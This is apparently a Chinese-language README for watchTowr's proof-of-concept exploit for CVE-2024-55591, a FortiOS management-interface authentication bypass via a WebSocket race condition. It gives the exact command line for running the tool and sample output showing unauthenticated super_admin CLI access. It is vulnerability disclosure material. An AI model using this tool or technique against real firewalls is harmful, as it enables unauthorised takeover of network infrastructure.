针对CVE-2024-55591的概念验证利用,演示通过WebSocket竞态条件绕过FortiOS管理接口的身份验证,以未认证方式执行CLI命令。
一款用于 Fortinet FortiOS 身份验证绕过的概念验证工具
查看我们的博客文章以获取技术细节
python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \\| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \\___| Y | |( <_> \ / | | \
\/\_/ (____ |__| \\\\___ |___|__|__ | \\__ / \\/\_/ |__|
\\ \\ \\
CVE-2024-55591.py
(*) Fortinet FortiOS 身份验证绕过 (CVE-2024-55591) 概念验证工具,由 watchTowr 开发
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2024-55591]
[*] 检查目标是否为 FortiOS 管理界面
[*] 目标确认为 FortiOS 管理界面
[*] 目标确认存在漏洞 CVE-2024-55591,正在执行利用
来自服务器的输出:�m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337
来自服务器的输出:�
get system status
来自服务器的输出:�~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443
Unknown action 0
FAKESERIAL #
FAKESERIAL # get system status
Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
Security Level: High
Firmware Signature: certified
Virus-DB: 1.00000(2018-04-09 18:07)
此脚本是 CVE-2024-55591 的概念验证工具,针对 FortiOS(Fortigate)管理界面。通过暴力建立 WebSocket 连接以制造竞争条件,并结合身份验证绕过,可以在未经身份验证的情况下发送 FortiOS CLI 命令。更多细节请参见我们的博客文章。
更多详情请参见 Fortinet 安全公告
此脚本不设计用于 FortiProxy,因为预检检查会判断目标是否为 FortiGate 管理界面,但推测底层技术同样适用于受影响的 FortiProxy 设备。
获取最新安全研究,请关注 watchTowr 实验室团队